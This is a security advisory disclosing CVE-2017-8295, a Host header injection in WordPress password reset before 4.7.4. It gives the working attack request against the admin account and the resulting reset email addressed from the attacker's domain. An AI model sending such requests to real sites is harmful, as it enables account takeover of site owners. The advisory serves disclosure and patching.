WordPress < 4.7.4 - Unauthorized Password Reset

=============================================

- Discovered by: Dawid Golunski

- dawid[at]legalhackers.com

- https://legalhackers.com



- CVE-2017-8295

- Release date: 03.05.2017

- Revision 1.0

- Severity: Medium/High

=============================================



Source: https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html



If an attacker sends a request similar to the one below to a default Wordpress

installation that is accessible by the IP address (IP-based vhost):



-----[ HTTP Request ]----



POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1

Host: injected-attackers-mxserver.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 56



user_login=admin&redirect_to=&wp-submit=Get+New+Password



------------------------





Wordpress will trigger the password reset function for the admin user account.



Because of the modified HOST header, the SERVER_NAME will be set to

the hostname of attacker's choice.

As a result, Wordpress will pass the following headers and email body to the

/usr/bin/sendmail wrapper:





------[ resulting e-mail ]-----



Subject: [CompanyX WP] Password Reset

Return-Path: <wordpress@attackers-mxserver.com>

From: WordPress <wordpress@attackers-mxserver.com>

Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com>

X-Priority: 3

MIME-Version: 1.0

Content-Type: text/plain; charset=UTF-8

Content-Transfer-Encoding: 8bit



Someone requested that the password be reset for the following account:



http://companyX-wp/wp/wordpress/



Username: admin



If this was a mistake, just ignore this email and nothing will happen.



To reset your password, visit the following address:



<http://companyX-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin>



-------------------------------





As we can see, fields Return-Path, From, and Message-ID, all have the attacker's

domain set.





The verification of the headers can be performed by replacing /usr/sbin/sendmail with a 

bash script of:



#!/bin/bash

cat > /tmp/outgoing-email